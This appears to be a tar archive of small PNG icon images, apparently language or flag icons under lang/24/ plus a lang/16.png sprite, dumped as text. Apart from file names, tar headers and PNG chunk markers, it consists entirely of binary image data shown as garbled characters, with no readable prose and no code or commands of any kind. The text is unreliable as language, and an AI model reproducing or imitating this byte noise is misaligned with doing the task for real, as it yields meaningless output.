Mkb�Nf23y.���0YxWo�ͻ��=缑���dJ\%��ʊ��L��=� �Q�Ʉۢ�ު3��hhÊSw<C#��(�*{dz����9NG�“W{Ig+ٳC£dA���d�̚�}5�WUP�E�J���ٛ�0L�G�#X�"�n���{=3q/��W@�r]ğ�j��GEpAg���D9ј�U�-�uz��f���l3�SLVBu�6�`;.d
L�"e��+�LD
��k`�Mf�_X]�>
��(���:�xWǹ���ͤ-������7�4"?�����d�֍�#������q�n7�1/o�#��x�,)���8�:MÜ�^�A��ڀJ<i�����S|����<���{�R�eYxk!	h�w@�p��dN9h�g�����[V,1���h�p ��U���6�3|
�!`���dSs�	�jC��f�Dt���A"��&�18t���AFq��%�s���NN��o��!���55�3��;����]!�$��F�O���m/~��1Q�˦��y��� P�q`|�F�Xȥ"�X��W�{�K�5o�IEND�B`�lang/24/ky.png000064400000001377151721413460007057 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMoE������8	��b�8#!�n�
��������8�(�]�w���a��^s]hi4������z��%"�Ε��u�`t;Ʈ����x�����'s��/�(�MI�䓇;_=9�Y��f��tFD "\�KD  <�`���yZ5���p7�R�~������$b�B���"K��C����#�`]`ܔX,���+���w�r���P�q���TZ�R�	B���|\`�1�X)w�H�0Hw���L�6I䌛n�lF��6V� V�mc����P���������R�ӄ4"��7V����W	�t���S�>�_eP��#�Ny+��Y&R�\Bh��k���N7V�9�X�AN什�
従r`'c��q�ϱ�x3*L+����寜�;�{J�A�J�������c�� l�S��W�m#�VG	�n}�$��ς۟.�sg�$a/A�
���)r�x14ǦX��F��0y����L,�
�w�+�l��M�uPG�73p�i�a��Pͤ��Y�N��]�W�����i��`/@_!����Ƨ�w#�� � 	i��n&]�4Z5U�Y�v�{���{��;_�h��ߵå����O��3�4IN�IEND�B`�lang/24/xh.png000064400000001740151721413460007045 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FfIDATx�Ԗ]hU���wfw���h�I+%aiQJ�i��RQL�񥤶 ��P�`ł� ��-��}|}
�`��F���"%��֍�Zk�;�����ܹ>즫B-Ƀ.���{�9��s�5��,�Y`&`����w<��$���[1� ��fp�A�yE����6H	%���M
"�d~��[�[w��8�WE`�'�c�)0�[�S�N�qЦ�������^��H�~����t�d��h��� ڲ�H��>Wgk_��]�Z��zU����&x��Lݳ���n�Ƚ��U���n��6� ���f�Ŏ��ڗ�e�
��邏�}|���8�-�
�^�5q<�.;�������/�_5�彽�gr�K�*��q�/���
������7������ytuu�0��===g:;;)�J���		�&�F4���'��]�0���d���Y�Ya�aH�\�q������L��P�s)��/��Rq`v[��y��2v2iI��T��t+�h^@�v��i����!J)�o0x���%��Sh���H�_��,���(

�61of��î�G�ã!$�+��!C�1x��A�RR��X�ƚ R��\o��p��S����:�t���rM����p�B���w�R�R-^;d0��S�A��E��*�cx�&>�}�����sam�����1�U���ƕT
������H߳������2�U�hME-�ǟ���$e$��16�;��̿�g���?J::2���i
J�K� 0�� ���}�=������;H,K�y��X\d�ᔁ�َ�K�.��@�߿*�.s�b���IEND�B`�lang/24/az.png000064400000001237151721413460007041 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F%IDATx�Ԗ;oQ����~$~������MEE�(@H4A�P$DACA�(�ej:Q�
�.]��H����xm߹s)b�~�ZL��Ξ�9sfg���UF��c���"����(�{�wE���(��a�N3S��OJ�s��Y�?�O���gL��j� ��xzɐ^bgP��ζq:�9�\E�G���=��Ә�|@��)���'�n�����)��j�K�~|LsL`��t�	���	�Mʻ/�yM��7�H���;L+���4�������|��}N߽%\�S�C��ɇ���q�bť*Cl��v:s&A9i!�T��j�\��m�'��.���ײ�����5�۝!o-խ-6_���'�a� v��@P)����>�r�CK���5+h����K�c̒&;l*�Ý[�BH�&�Lq)W$z�v0j�:����yZ�H?s7�
^'�,N	Pt~p��GKr�:�p�*������Dރ��SaE�V�o�j�u��1��c��
c�2���;!{����IEND�B`�lang/24/hi.png000064400000001275151721413460007031 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/24/eo.png000064400000000521151721413460007025 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtSoftwarepaint.net 4.0.12Ck��IDATHK��1
�@E��DZ�|V�,c��[��C�� !�`����auH�	H��2�`f�e�U�R	�J�T⏟q[�6gJ�jѽ;�͡MK�9S6�
�[n�9�i	~H��"��>D|�Qw�n�Oy/��y6f��k��"9%(�¬pA?�V�8X%~dڴ*�P��J%T*�R	�J�TB���քJ%T*�R�-%؝lSfIEND�B`�lang/24/hu.png000064400000000625151721413460007043 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ1NAE��z��F
���[P Z*��U�鐸����fl��&4P�"��H�Ǟ��L��cr�0���	�0��y����~)@b���eQ���@+�X�x�c���o� �_gCC��3p��_�ޛK	���X�a]WF\u�Eg)�g��&眩�<�^EcČS���*�k������/���u;ՌUje*1w�ڎ ���y/��I��D"m3+�?�j��dJ�t�}��N����+�e�h�\%�Ї��U|�̎�ҥ,!IEND�B`�lang/24/af.png000064400000001740151721413460007014 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FfIDATx�Ԗ]hU���wfw���h�I+%aiQJ�i��RQL�񥤶 ��P�`ł� ��-��}|}
�`��F���"%��֍�Zk�;�����ܹ>즫B-Ƀ.���{�9��s�5��,�Y`&`����w<��$���[1� ��fp�A�yE����6H	%���M
"�d~��[�[w��8�WE`�'�c�)0�[�S�N�qЦ�������^��H�~����t�d��h��� ڲ�H��>Wgk_��]�Z��zU����&x��Lݳ���n�Ƚ��U���n��6� ���f�Ŏ��ڗ�e�
��邏�}|���8�-�
�^�5q<�.;�������/�_5�彽�gr�K�*��q�/���
������7������ytuu�0��===g:;;)�J���		�&�F4���'��]�0���d���Y�Ya�aH�\�q������L��P�s)��/��Rq`v[��y��2v2iI��T��t+�h^@�v��i����!J)�o0x���%��Sh���H�_��,���(

�61of��î�G�ã!$�+��!C�1x��A�RR��X�ƚ R��\o��p��S����:�t���rM����p�B���w�R�R-^;d0��S�A��E��*�cx�&>�}�����sam�����1�U���ƕT
������H߳������2�U�hME-�ǟ���$e$��16�;��̿�g���?J::2���i
J�K� 0�� ���}�=������;H,K�y��X\d�ᔁ�َ�K�.��@�߿*�.s�b���IEND�B`�lang/24/et.png000064400000000671151721413460007040 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F?IDATx�Ԗ=N1F�7�'	��Ai#q:�=(������4���&��D��c�bY�(���T�������J)1d���S�(���8�z���<?ܕ��no�����L5�c�8	ؕ#%P
H[E�w�������'�H�ZHL�Z�
Yv��bG�Y������ t:@���d>���,��,��m��k�v�w������4M�1&��R
��ཧ�*�����2�7�"Byn���:��c�Y!��3�cR�0�$`Vt�0O�5��Rb�\�o�.�k�2�x|���C�V���g��J��z�IEND�B`�lang/24/kk.png000064400000001566151721413460007041 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�nU�w�?�Ďݦ-i-,*$�fU�*lx�'�Ixl`R�,J��
RJ'i>p��x<����"N<N����HWw1�������r��p�v��@�;	��|�����;�5�'��!���Ӗ�k_>�Ã�Mw�YJ��vN��Q�2H$�a�Q4E [�"8�Pv5K�%�:X����_+��)Fi���� ��j�2�Y���OA/Ze��Ī���=W���X��Ѻ�$'Jkή�tJC���Owz��o�Cw�~�B۫�(��f0N5!���|��Y��V�cs�5Z��c���燷�aZ��BQ�\�9�I\c��9����0��&i�$O��`f�ZC�'�Y���)���a�\P����E��i����0��_������]�؀����8n���aFIv��$'+�@)E��G�`>��U�
�(���c~l�}���>�TQ�2��e�1� ��Ӝ�(�A?.q0np7�fN~�'���ώ2H+l��������^�s�3�ƫc
��%�j��B,���b
�;nb��x�&�eW�䒕�!,oGm����{��E��	*b�2���b.��n����<��7�LX��~�	��{����
ݰɭFʿ���Fb%�u��0(�b��R��kȋ�S>�"|��1�Pf�^���E�bTa��r�F�7Q�zI΂E!�^bx.q�]�-�w��}�u[�H�(\�&`�4�,8�w�h��v-�����_����cSw�IEND�B`�lang/24/hr.png000064400000001726151721413460007043 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F\IDATx���oE�?�����I(�UѐGT��m8D��'��H=�?�Ρ�J\�z��
�qC�$P
�D���j�64���ݙ���M�e#Q��w��̛���Q"�q��1�+
��to�i�w���ǟ<S��Ϸ�{w�0�,�앥䛥ǝ�7��:nL9@Z�F��|Ge!�9l�MpbR�:�E5XBg,�7���I�����mh��ߏEl[��w��Գ'��:��d��������-����_��o2��ZK,#��8�H�C<oh��C6�y� �S����k�,�w7X��L���9Nζv�7E�Ρ$�X
	��5��ĴZ���֌ןR�)�����2&�G�7x-���A��K�_0�6&N؎��5���4`�����,�_"�U8I���c&�@��윘&_��eƙY�ODz ����N��$�m߼%�׮�k��7o%
'@�9J����5�V3R{��D�@�q��]���ȓ古�|�?_[���ּ���H�D��[�R��Xw�|�w���7V�΀���Jƀ����֘�7B%�u2
T�n�Œ��q��J�5�KkJVx2���iL�
���p:pySu�fN'��w�0��m��c��~�\h�Y��B��]ܷ�n�~��K�� 7ҍw��1[�@�5�cG�:�$d={�����ʷ�Y(,�_��.�ٳ`¡�]��`@�ێ
#���8|�Z�̅��j2)�ұB��Oh��h��	����N���o�E�����"5���jD���PL����@��P�P�}~]�V�)�=��
��zo���8J�z�8=n�T���)�^IEND�B`�lang/24/es.png000064400000001551151721413460007035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kUG�3gNN����CbE14R�v��.�hi���s�K�]���P��"���"�h!R���BD*��hrss��̼.ι�Ǐ�5r���0s�0�<�<��(a'C�ñ@u����O��a�������@Ծ���Ӆ��"�I��5@J��oK�K�6�d��ҿ�k��w=҄$��#���JV/��,9�,�w7��n5���4�됍��T�@�-10y˂n�t�4���@��+��=	Ȁ6�Y$Xk�l��F�IǞ��8�r�H��H�"Z?wA9�9��L\���nJ�,�H���/1S_�~�r�`�bdƱ��Ľ�]��0��q���޵�b��@zd9��1}�,��,�m188N�؏$�1�sW8yР�Mp�U��'���[(d�,��k<��S�.119E�w�]
�{�E��@	BP��i(������l
����
?�q�+$������`�?��HV���-��V)�3��Cl�sI��d�����?E�&�X��]���Llqr�i4̍�Y|TC"Mv�4��/=`X���,`��m0 x_b�{A�"�)�}���s���n���Ơa]���vmy3+��>�^i���O��bHEg��Ո��x�6�3�A�ӊ�;��λ�O&|���'A�	EPP%�
����$(�6���z�w�b�9�'��������xԋ��H���}��4����i�VY#IEND�B`�lang/24/ur.png000064400000001576151721413460007063 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ͋Uu�?�sϽ�z�m���9ji
i+Q��F �,�(�Ѣ���ZF��E�@HB��Y(�D.Ql
s�Qt��eΜs~/O�s�=�r�@f=��y��|����{�VR<VXV@>P���[��D��P{��(���$/|>>��~�;��(�\��������8z4�(e����*����n7*`�V�:�]�B��(\�"�yi�0�Ih4�d:�S��)�%�1��~�Љ:�ak�޹�-�p��"Dx}x��l㷻�s��ԩ�w,
Кi�XP0	׿ʑ�����Oi>{�8Á��5���Ck�>��JT�u�[��ٴQ»��ųܺ;�:g9s�,E�ę�gi�3`"
���HQ���x`5[_ފG;lc�����UnݾIg�
�(Q$&�w��O(�!�gؾ�
�A�_�& ���k�^���/�WE?�\zD�����ǎ�:��gs�6�p6�1Ɛh��K���8}~�(���_����\�:!N��z�-6�ۄ3	V���\lj6������ �9z����$A1���v�:��Ɇ��x��}�"�Ze�"E����%�l�K�l�E��Oqcj������v32�<�×ߟ�ܕ�P�ÉC�e�h4���y������$`^���<lf�`j��(O�.͠T�ߦA�[%`���V�`m>�ZD����h�3ނ��s��z���j�@}��3��F�C��b�X��*��R�z�p�kIEND�B`�lang/16.png000064400000062657151721413460006445 0ustar00�PNG


IHDR���M�tEXtSoftwareAdobe ImageReadyq�e<eQIDATx���	��e}7��YfO2YH	HX��	ZAq���V��V}m_mk�.��]l]ڿok�jm�֪mmU\P_��"��`1@1!	$!d�-3g?�<g��d&q&�'�|���!�u��<�9gr�V+���Gg��٨&�=I��9$���<��<��<�q�QL�տ�m�ݾ깗�'��O�(�J����Ѩ�ʏ ~�}&j����3"�8��_{Q�X�,9~��T���;ۧ�N�>�g�8��G�Aɢ��'�<2�c�^4�G#�ɣ��z�o*�0��WV���W\5�Į���_��<2��_���GZ��%�|�h�rQ�%'}L�_�J����׿���?v�����I�Պ/|f��[�|�!\y�U����/�_o�ss��S/��W�(���5��ꈞǞ�lJ��_zF<�z<�Į}��-�6�o�	t�5���p噓'O���_��|lڜ,��tFE�O+�g͖��Q��c�1�y������Xь��|4Gr�����FT~Z/ҹ�9�鬲�vyd�G�ъǝ�,V���=��7F�\��g�l���m��[n�GV�ވ�s��,�Z_O��ϏҼ�z��cqs$:FKIgΏ�yd�Ƿ��7
�V��gţO^l�8����Ν����;޵�_�ia.�u�����;���8.V��%Ѭ5��၈z�����g� ��������?�N�?P0�s�Pm�b��'v�
%;M3:
q�	g�9�+�
���n�#*�rD�Kz�#=F���0�!ƴU�Eq�P�<s{4>UL֩�+������ī̅ŋ�U3?�ʣVk�I+����]�?��[ㇷ>��M{�|�?�#W(�#��*���sg�w�n�'_7珏�m1tROt�����|k4��(,Y��ayd5?:
�a�@��������93�������?������)߬o��3�����u�U/����h5��3���>��L���՛�Ҷ���h�(�[~��ͯ8?�Vß�J�����bw�ʣ�[G~W��h&��QIA~��ħ�v'�:�˷�!�䌴P(��Q�T�򓑨o�ں|4��#���(�I��ZLZ�rIv���Q��b`���A���Ub`�͡�������(%�?��o�W�ћn���Xgg�DgTG��m�G��`r��k�����ܺ%�ʋ����~^_���Sק��ԯ������|��W�.�F:��]�I�=#=J���?^�,r���o���Ȱ��H)	tgR��Fw�E�^ۇ�=��O��ݽ���G>��gėzm���\��e�)�|C,�_Õ���3�'�ާk���;�v�����m���"��j�b]��b��4�'�4�j�l�Z�J��ڝ�����H��;�ّ|�1^���Ӿ{c�eX�GV��?���=��~��~���n�M_�&$_[�G�7!�RDo���d~Tc�`)��+������k~�P��w�W>��C�����e_�z��h�՟=D�����]Ia_�҅�Ռ\q���V�>~�lz�Y��/��y=F>�	V.ź]$l ���[�����*CQkT���N�G��q}�b���џ��Z�e�G%6���pulF?���7
oט��Eɝ?�p�
AzQy݁r|�Sj��<��@9�¼q�C����'��<�aڟO�(=ۜ�J�2�4��Ŵ,�[vb��}s�υWf�1d5?��|S#�F�Ǹ�K��pO������1��^��1�c�n5K?��8~��W���g���8���&��v�x…F?�B�*�٬�`y,z��x����M�G�ь'�<+~����{�h6jQO~�Q���
�X�;����D�D�G�l�r��~���<j{J��z-Jզ���l�H,�$�={f��Z=�5W�2�?~6%��v܊x�έ���y㍇?�9�?��*&�y+}>�=�j��t}<�z_�*թ�Q&{)�WGm~��va~�3�'�zt��2���ڸ��;�ܷ�&Z�$��xpʝq��ߊ�}����-��'w�m�
�R�BoO����������o�+���_��8c�����h��z�����G>ps�����i��'g�$��2C����d$�ѱm�d"��䒂V�Y�Q*�_�oN
`��Yr�	�<�s�s�1
]�c�t`����]�<=�-^���G��~����z:���-d�͏t?��h����9��F�_��f�)��ZssV~���Dy�~~���G�~���q��S�"�z�����l|�k?�������޷-K���.����췞=�8�1�|fP%�{�[b:c����[�ǥ�zj�t�ڸ�5q��'��;�M?j�L���1dtS���z��j�<ҟ-�-�<*G����e��J��Ǵy4��	e9ɣ�޹�=�))���W�^�������l��L�h�:�����/����ci?�t�r�<�W���O/����x���ۚQ�<~pg1}��#���+�&��V���/�?{���s�}&���LgRg����q_���8}щ�]<1�h~`d$>w�7�?}���)��$�{wO��挤'0�	��#%�t�#�5�<�[i��O��G2��I	��(L�Ľ��
��������"�,�G-��}�7�kc^!���a�:F��i��	y���ڸ��ч��v�[�=<��H��y(�x����������+��숯]e�e�ޥW`F��9���=q�9�|�\!���f�� �F���>8pD�>y<�<Q��1�$'$#�7��HO+�4^=pslNr����8���k��x��jڸ�����1��H���j��d0wr��<�<�<�!�c(��0��*;c��U�1~6�rw��*y y y���#�jy�X8d�V�@a�fP�@a�fP�@afP�@a�fP�@a�fP��(��0��
3(��0��
3(���
3(��0��
3(��0��
3�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��(��0��
3(��0��
3(��0
3(��0��
3(��0����œ<:�Ǽ��F5y�I
w�0�a ��<�<�<�!�c(�b�-/x�#��W^}ղ�b�S��$������|ݗ_w���A�_��)������{�K�x�5�G6y\~D���_/�,��uۣR��^�������(D4����tyd�����������<2��_|��<��M�|�/ѯ�~5���,-�}�F#��;wf%���*k�H?���;�石r6��c��h4�q�'��z{־Y�j��-�Gvy4�<.��"�mgk֬�GVy�jqኅ֫e"��_9g�4�G2=��G�zyd�4Q\q�L[@{��o���j~$y����P�9g�WS��ͱia.�j�h��Dc���o�&�r/���C�?禌�M���h�X��yT��.Ǯ]{�C�������6�j��p�Ǯ����	��䉖,Y�1��&���Y���/z��u���h5����'�c3����zմ^e�G�Y���X�.����ׯ�~�^0.}�(�Èf3�/�(z�Y��r�F!-�ѨT�94�d��Ii��S6�I��
r*���Q�Tc``4y��g���N#_�z��.�J��@�1�|�}Gg�����?���36�6p��*�/
E�4�1n���c�h�J��Py4���!3�н�^
��Gb��϶��g��?�!*w�����)��]��}������_Z*%%����g�'�E,[�(���1�]L�+g�]�WS~~aOl�1`�2R*Ub���;�U���Ё3��Q-ـ��R>�v������]�>�<�0�J1�s���f���/Ų����b������(�tĚ7?���G���,����细k�_��߾����KtL��_c?�B9)��+#1\k�n1ma���?R-�?��>۸o~��o���d�j��L���7���U�K���V��P�����l�+6��u��H
�AW���8�k�����,�R�[WK
��W�۴��B��(�.�
(ɣs���b3�O��(��Ԣ�F̍�c�(��<)��Ӷ��#������t���
[��u;��hŒ�b,9�d����?�򻡵�]�9�6�?����`�8�z�����tks3F�v�����E���_�?�c�y!h�z�ٜ�{d��^�G�&���('y��<����	�K�?+ך.�<�1?����Ƹ�̏r�n�2�߽,�/?��=�z��=f۶mqŸ����V�|Bܿml���Y��"���֡׫�kY�^�R�q4�G�ʕ��w&{Dz����.'�-Q|��S�i�3���(t-���̮R��tD����g�o�1V�Z�����o8ܶ�O{�ƍ�S>`�2�`�(�{��K�\R�*uo���EW�c�?�m��7��9Y۞j�p�{�����Xu'%Id�]Ũ<d�2�ymt,���!��7�ӞbW�v��ZG_G�\f��P�s�d���?�Fa�<��X�җ��?�H��7d4����O���s%�������iq�8#=jWr�ܬ�a�O�tw>���K�H�G�b��n~$c�*D�t�j5Ǐ!׽�ɱz��Ys�=�ę�1vYH�-��f������ه9�	{K���r�zu���q���8�ѱ�_�h4���{��ǴszCsg��wv��]L��\h�m���¬�a�t~t&��0��vvL�gͨT��H�	K�`f�˚Z{�!��qm�����p�=.����W�����ݷ�L��a�#��1�`�Ϗb�J�>n��_�~��c���?�k�u	�?��,�'y�/Zh|`���.���G�Ո��&}��~64 ��5?͸�!��1��_}ネ��'�ce�J����q�q�y��p����>П<�_%7��7=mi�ZC2�;�\N�@�@��1�GZ���;c��U��>{J/�1���C�C�C�8��ȵZ-��*�
3(��0��
3(��0��
3(���
3(��0��
3(��0��
�Q�fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP��R��Gg��٨&�=I��9$���<��<��<�q�QL�՟��=�J��H�����=��lFzE�P(�˗%�Ü��zŕ�'~���x�o�G\��߈�Wy�|A�o~��Gy\��ϣ��W�dM���~r�Z�f�,��?�qyd����)�㺿�����y�+��#s?����[�t�(���_#��x�[��4?�����s���<�xƲ�0��~�(�q�����^�������q饗�r�@�\_r�]�?v��_���g׹g�̥� *��.����+�9Σ���������?)�]��D�و���U�	Ʌg/�����������ף��fz֒L�d~��E�QO��N]2�Z��U���#n�oW�ش�O{�޸�k���3N9��X�dIT׭Kv�Vt�vZ����w���U�K���իc̩߱B�V���H4v��̓�?k7��8�ŋ"=F���0�!ƴ�l@#�R�(�f�+�k��Xp[3r�d�+N�������*�j��{*�k�t�͍�b��$�6�Y��W��������~�k����{���yҽ�c��Qo�H��F*֪v ��=�K�wEzLzl�2rz+���pT�ո��b����<*����?�s�Y�ַ���xF|�?�#v���>�l�+�(E3y�30\�vhx��|�������6��C6*�j쮌F�>Om�;Ƣ�c0v?�+�݌��d�tWY+�n�,�dsOק}k��N���`�ze�zD:�?�Q�hωJ�#�s1Y=������Ѩ%��"c�����Vcp�:e��NS�r�cR�}���.�(V�X����G�)J_�zt-J�s�'6�pg\��#q��A����m�\�\6�Y���===���o3:�WO{L�T���5xM����1d�T)Ƕ��x��{�W�����yR!�;��='���VG��ޒQm4
\Vy�*�s�C#���K�M(�?��P��D�d��ʅ��r,[�CI!��XҘla_gl�5d��?j��)����E����p�t�ƃ9��z�e�?��d?_�L����:0C���:�	��d�����0W�����E8=��w���[����ǫ�r�S_o��@���r���w�8��Vg{�hޅ3���������pi,�7�9<<���/X�EϦe�\��`sk��X�n��ӟ��=��C���}��ލ(�������
s)�mjL^���M��چ�I�d~dzB���\��f��Ql9��J���Q�Yl�vS��� 5����+��Sr�Q)
\�y��H�(��Q߀�'˖-[�B|B�s�s����Z��q_~Q�Ȟ�qΓҥ.6o�'�x�+����/���'�����w��-t�c�m�'��f��EAK
�����U�V����
Ay,���x���yCq��_�zg_/�����%m��59��+6ٝ���U,Fs�{�4W&��#�1���]��l��w,��g�*����G��$�ƂXpz1n��ӱ���Xp��仃S/��j�15�qS֨Cϐ�y�/��ַ�c�X��E���+���� i��=q��'Ɵ���q���y���~�����7�Y�%Q����&��M���ǟ<���=�@��쌴T�\�G�9�	��ע"��
A���?�7
,����ݷ�[\r�`4�)E�7;��ʿ��'ɣ���6��5�;���&ΕV�����Q���3N���<���'��
Z��4����8n~g\rr%�+c+��7�'��F#9�n�2r��q�-��J�}�2��߉}OG���!��U�ƞ��^s�0�o#בL��}��x�.�>�������^o�/89FGv�'>�o�[2�͛�
s��Z�V�z�	/��Qn�
O�d�J����q8��V�R������:+�<e .��p���h�
��hM��z��	e���h�+�a�z$Y��r�{�U�'F&�+����M�3��f�w���zU����~����^!��k�.�������/�<�����ŋG1�o\��GM�-�K.�$v���x�3b�ڵF>�@��hu�Dtv�ZgGa�S�$ъ��<��#��\�Ew���&�T-W�����7D��0��oj%'��hf�G5:ӷ�p_r� &���z��ʣ�Τuu��˥�d�#��V��V�^�S֪�_� ��,=f_a����d͚5�_X������{ڿ�1�yL��gҟ�w��ϳ�t�Ё�:ٕ�����q�:4x�c
_�y��X�7�y�xh݃�O�\���'���qK�UI�Jק���:�5[�����G3n��(��ȣ�tء�v�����M�8��?�o}1��H���j�����r���<��<�œ>�����2��-�x>���C�C�C�8��ȵZ-��*�
3(��0��
3(��0��
3(���
3(��0��
3(��0��
�Q�fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP���n͹����Y[M�nC8�g0�\�ü#�#y�I2�Ey�C�<����.̵mv��/�9��j�l�W��'��7D�����\�e�;�\���~��S��/>�<V^}�<2���/?�<�v���� ���G�Ga�W�A�.�rB���ԡ��V��V]/�cm?/�cN_���KϋX�d^|�s�%�9w��ɕ̿[n��&�\��}3�?u�LgU;����-���h5�u޹3<��%�O+*k�G�y,���Y͏�k��#���Q<�5`���o�G����(�{/n�-��ΏҚ���8�cۅy��#���t�?g�0~��'^|z,\8?��O����B��<wP^��/j���c��<J�z�Vc�He�U�ց-g�x~W�*uyd�G�V���H4vL�N+�	$9`�H��G6y4�ը
Ge�AOTb��Z�$�c��h�"�I��wLb��Gz�<2ʣZ��p�^�J֫����aNJt���w�c�(,YQ��#�~u�Ƕ�m�8�4�(䶤ř�O������k_����	�|>ժ[�����Q(L�g߽���s�46��.c���T�94�lB�3��\�]�R6p�%yT�:00���*=���G��`ҏgv@3�>�lԓ�׋C�HT�xRR�[��n.Fapt�Q7?2�W�����W��(�uvR��=b��X���T��ݳ�ݳ�������
s&�������d�+Et�,�9gY|��ϋ�њh��Tibp�n��#9������ݥ��5?�z�����޶%~�g���=��!�<����=0^�'��Ͼ���J��e�����1�R�����<�����1\Y޾i���{{����b����
^�X��X�`ib(���=��F�X��/��o|�#���	�,\�ۏKO>�5x8�i�e�Ɗe]��D����{Gc��%����{�p����<�c��]
���ba��
���J�R���C���g6�::�|vڟ����pG.m�2ʣ2���x�P9^s�Y����O*��!K���X�p��֫���E��Q�3=�l����
�m1\���/��B�կ��(�c�}ۣ+ɣ���F���w��/�,6~�k1X+L�K�~Wt��\fyTbݶ=Q���sx}�~�U��M��ñ~�ht�[>R�E3W?P�vF3�F~V�h�q�X&ʵ�i��D��Ӣv��X��w��z#�UW�3ˣ<��;Ƣ�h��}��(�����V-�=�1d�GV� ��7�X�;���j����ͺg`2��h%�[Hr�ލ�=�;Z�f�}��Q.E�ٙ�F�y$�Icl�e�Gr��C�V|��:�����+�Ӗ��d���V>J��`��ȕ'��o��}Ы܏���%����������h��\_O�t')�zTj��UNN��_��M�w&��_��)�(
�#ŗW��e�B�GGg��ž�ؾ��@��G>ps���������j\f�2qӧ_�V�j|�ӟէ]�z+ZW�gl��;��q��8唷�|a��ZG47�b����[V� �IA������k��y~,��x���]2��B0~�k�߉�׾i�,��oe��ΙV3J^Ԕ�~��ѳ���d�M��}��Q����Na~Dh�^��ݾ�F�M�dd9?��h;����!��J�k.��z��_?��vM;���Z��ÑG�����v�֯���>�����N;g��c�z�]2��
�����#"9��ϟ��7 ^fj�Jt'���8���}s��י�����(��6-h�����/�jY���	LO�::��c�U�ĕ��s�b�:��U���t~${���n�\�gW����d~���9P�9�T�⻯��vx�ic�ۅ2�ㆿ~�����?�G&�k��Ŭ�5|�l6?��1�G#��yX�8��cp��\,�$?=6�^
��r�����/I���ϭ$��䏕G�G�ؒd�K�!y�C�s�Ǿœ�'�l_ŗ�VIsh�C�䑞%�x5�<�!y�C�`�hf��[a�fP�@a�fP�@a�P�@a�fP�@a�fP�@a6
�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��(��0��
3(��0��
3(��0
3(��0��
3(��0��
3�0��
3(��0��
3(��0��(��0��
3(��0��
3<B
s��L�9��')�U�8���r���<��<�ɿ��P��_�,�c��T��?t��qͫ�!���z�G�NJ/|A��W^tDy���g�A���oQ���#�<.���}�|�����3��������zu���Ai�ܼ����WN���+_r�<��jYZ��&~q˶�-E���X~���s���:���f\p�.r�]5�l�%���F#��ة��w7Snj ��o�GFy��<�;�G!�F��.�Ƅ�QY+���h4[q�)�g�^ݹa�<2ʣ֌8cIo\��x�ފ���8��.��Y�ף�X����]>n�'-��&[Ys�<2�c��1X����⎝1o�q���y�Y��H�i%�T���>�8q��9o�?ߌZa4:}�>+z�[x���`��\��h�H��F+?�����uEz�<�ɣU�Esd$��hՓ�uj��iu}!r��-��yd�Gs�@T�0H6��I��'MA>�tN*be���W���z���=c��s�z�ڿ�L�h^�^խWY��=>~�mOl���J|끑x��E�{�
�X}�Y���GG!_�������W���ص��.�g�X�8�c�Qɺ�L��Fr�بM�㥾�)�0a�h�j6����j6�UK���xj|��;ڟJz٨V�10V����n_JBz٨W*Q�f�h_��'���E�K?���M����ǐ]š�&�L6��Fcm��qO׺�d�:��3~�g^4��(Y�䑝J���Ubxl��U~���3�/���u[ܲm$k��>O���������>��Q[��QH���1���*KV���C�ۥ�?�x�����<���Q��ۅ��+>˖�ǎ��֗���N_�� �_�l�:���pAwl�1h�3RJ&��d�*�b⛘�{:s�)�>�l����H
�p;��+���zV���Ԋ�+�Q��b�\�̕��c��2�c�@Ҍ�"��V���J���h?��^Y�ut%�\�]��9S�Gf�}�M1�lY%'��ui���S���c���.�.'��_����u��k��ο"�~Pj�ϝ�K�Xҗ�t�8��ߌ����u�R)����e4?�8a��5�9�i����\*�M��=\��|���k���]���:�FJ���Ս|Fnxٟ��d|[3;#�\c�[�]&'0��ձaC��f4#�!�f%��TjϦʗzb�}��~=s!"?� JϦe���љ��J�(%`��p��+�OJ{��V<�g~lO��X�d�JJ��Q.�
